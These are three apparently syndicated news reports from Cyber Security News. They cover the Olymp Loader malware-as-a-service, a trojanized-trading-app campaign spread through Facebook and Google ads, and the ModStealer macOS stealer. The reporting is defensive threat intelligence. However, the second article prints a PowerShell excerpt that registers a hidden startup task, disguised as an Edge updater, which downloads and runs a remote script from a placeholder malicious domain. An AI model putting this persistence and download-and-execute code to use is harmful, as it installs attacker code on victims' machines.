The cybersecurity community is currently observing a surge in interest around Olymp Loader, a recently unveiled Malware-as-a-Service (MaaS) platform written entirely in Assembly.

First advertised on underground forums and Telegram channels in early June 2025, Olymp Loader has rapidly evolved from a rudimentary botnet concept into a sophisticated loader and crypter suite.

Its author, operating under the alias OLYMPO, touts the service as Fully UnDetectable (FUD), claiming that its advanced design can bypass modern antivirus engines and evade machine-learning–based heuristics.

Early adopters praise its modular architecture, which integrates credential stealers, crypters, and privilege escalation mechanisms.

Research indicates that the threat actor behind OLYMPO is a small team with extensive Assembly programming expertise.

As reported on HackForums and other underground venues, they have implemented features such as deep XOR encryption for payload modules, UAC‐Flood privilege escalation, and automatic Windows Defender exclusions.

On August 5, 2025, OLYMPO announced pricing tiers ranging from a basic stub at USD 50 to a fully customized injection service at USD 200, with all packages including a “Defender-way” bypass, Defender-removal module, and automatic certificate signing to lend samples a veneer of legitimacy.

Outpost24 analysts identified multiple instances of Olymp Loader in the wild, often masquerading as legitimate software.

For example, binaries named NodeJs[.]exe were distributed via GitHub Releases under the repository PurpleOrchid65Testing, exploiting developer trust in Node.js executables.

In other cases, the loader was delivered as fake installers for OpenSSL, Zoom, PuTTY, and CapCut, even borrowing official icons and certificates from known applications to trick victims.

Infection Mechanism and Persistence

Upon execution, Olymp Loader initiates a multi‐stage process to establish persistence and disable defenses.

Initial samples observed in June employed a simple batch script: copying the executable to the user’s AppData directory and spawning a cmd[.]exe process to run a timeout command, followed by re‐execution from the new location.

A PowerShell script was then launched to create an entry in the StartUp folder, ensuring the loader runs on each system boot.

By early August, this workflow was augmented with a Defender Remover module, publicly available on GitHub, which executes PowerRun[.]exe and a RemoveSecHealthApp[.]ps1 script to terminate Defender services before adding exhaustive exclusion paths (APPDATA, LOCALAPPDATA, Desktop, StartMenu, and more) via Add-MpPreference.

The loader’s shellcode component leverages the LoadPE method for code‐cave–based injection into legitimate processes, supporting 32‐bit, 64‐bit, .NET, and Java payloads.

Unique shellcode initialization routines further obfuscate the loader’s purpose, while a custom certificate signing feature signs both the stub and modules, complicating detection by reputation‐based systems.

This combination of script‐based persistence, injection techniques, and automatic certificate signing marks a significant advancement in MaaS offerings, lowering the entry barrier for mid‐level cybercriminals and amplifying attack volumes across enterprises and developers alike.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New Malware-as-a-Service Olymp Loader Promises Defender-Bypass With Automatic Certificate Signing appeared first on Cyber Security News.

In recent months, cybersecurity teams have observed an alarming trend in which malicious actors exploit Facebook and Google advertising channels to masquerade as legitimate financial services.

By promoting free or premium access to well-known trading platforms, these threat actors have successfully lured unsuspecting users into downloading trojanized applications.

The campaign’s social engineering tactics leverage familiar branding and verified badges, creating a veneer of authenticity that bypasses casual scrutiny.

Victims are redirected through paid ad placements toward obfuscated payloads designed to evade automated analysis and human review.

Initial infections typically begin with clicks on Facebook Ads promising “one-year free access” to premium charting tools.

Users are directed to landing pages that host customized service worker scripts, often encrypted with AES-CBC and loaded via StreamSaver.js to deliver a malicious installer under the guise of a legitimate executable.

Once downloaded, the oversized loader—sometimes over 700 MB—employs anti-sandbox checks, preventing execution in virtualized environments. Only upon passing these defenses does the downloader initiate its multi-stage process.

Bitdefender analysts noted that after breaching these initial defenses, the malware shifts to a WebSocket communication channel on port 30000, replacing the older HTTP-based approach used in previous campaigns.

The threat actors encrypted their front-end JavaScript, then deployed a deobfuscation routine at runtime to construct the final payload.

This dynamic approach foils most static analysis tools and significantly increases the complexity of forensic investigations.

A successful execution triggers the creation of a persistent Scheduled Task named EdgeResourcesInstallerV12-issg, which downloads and executes subsequent PowerShell scripts via Invoke-Expression.

This task not only ensures reinfection on system restart but also modifies Windows Defender settings to exclude its payload directories.

The following excerpt illustrates the Scheduled Task registration:-

$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "Invoke-Expression $(Invoke-WebRequest -UseBasicParsing https://malicious-domain.com/next.ps1)"'
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'EdgeResourcesInstallerV12-issg' -Description 'Windows Edge resources updater'

Infection Mechanism

The infection mechanism centers on a sophisticated downloader component that leverages both service worker APIs and modern web tracking frameworks to blend malicious operations with legitimate analytics.

By integrating PostHog for event tracking alongside third-party pixels such as Facebook Pixel, Google Ads Conversion Tracking, and Microsoft Ads Pixel, the front-end application gains visibility into user behavior.

This telemetry allows operators to selectively deploy malicious content only to high-value targets, serving benign pages to all others.

Once the user initiates a download, the service worker intercepts the request, decrypts and deobfuscates the payload, then streams the binary through StreamSaver.js to the file system—bypassing traditional browser download safeguards.

This seamless delivery mechanism, paired with domain rotation and language-specific ads, enables rapid, widespread propagation while maintaining a low profile.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Threat Actors Weaponizing Facebook and Google Ads as Financial Platforms to Steal Sensitive Data appeared first on Cyber Security News.

A sophisticated new cross-platform information stealer known as ModStealer has emerged, targeting macOS users and demonstrating concerning capabilities to evade Apple’s built-in security mechanisms.

The malware represents the latest evolution in macOS-focused threats, which have seen a dramatic surge throughout 2024 and continue accelerating into the current year.

ModStealer follows established patterns seen in other macOS stealers but introduces unique persistence mechanisms that set it apart from predecessors like Atomic Stealer.

The malware primarily targets developers and cryptocurrency holders through social engineering campaigns involving fake job advertisements and recruitment opportunities, taking advantage of these groups’ valuable digital assets and frequent interaction with online development resources.

Initial reports from cybersecurity firm Mosyle indicate that ModStealer first appeared on VirusTotal approximately one month ago.

Moonlock analysts identified the malware’s cross-platform nature, enabling it to compromise macOS, Windows, and Linux systems simultaneously.

This versatility makes ModStealer particularly dangerous, as threat actors can deploy unified campaigns across multiple operating systems rather than maintaining separate malware variants for each platform.

The malware’s capabilities extend beyond typical data theft operations. ModStealer can infiltrate over 50 browser extensions across Chrome and Safari platforms, with Safari targeting being relatively uncommon among information stealers.

The malware extracts data from cryptocurrency wallet extensions, captures clipboard contents containing seed phrases and private keys, takes screenshots of visible user data, and harvests saved browser information including local storage databases, cookies, and stored credentials.

Advanced Persistence Through LaunchAgent Abuse

ModStealer’s most notable technical innovation lies in its persistence mechanism on macOS systems.

Rather than employing traditional persistence methods, the malware leverages Apple’s native launchctl utility to embed itself as a LaunchAgent within the system’s startup processes.

This approach allows ModStealer to maintain long-term, undetectable presence on compromised Mac devices by masquerading as legitimate system processes.

The malware creates hidden payload files such as “sysupdater.dat” to store its components while establishing persistence through macOS LaunchAgent configurations.

This technique effectively bypasses many detection systems that focus on monitoring unauthorized modifications to system files or registry entries.

By utilizing Apple’s own tools and frameworks, ModStealer presents itself as legitimate system activity, making detection significantly more challenging for both automated security solutions and manual analysis.

Once established, ModStealer maintains communication with command-and-control servers to receive additional instructions, extract collected data, and potentially facilitate lateral movement within compromised networks.

This persistent connection enables threat actors to continuously harvest sensitive information and adapt their operations based on the specific environment of each victim system.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New ModStealer Evade Antivirus Detection to Attack macOS Users and Steal Sensitive Data appeared first on Cyber Security News.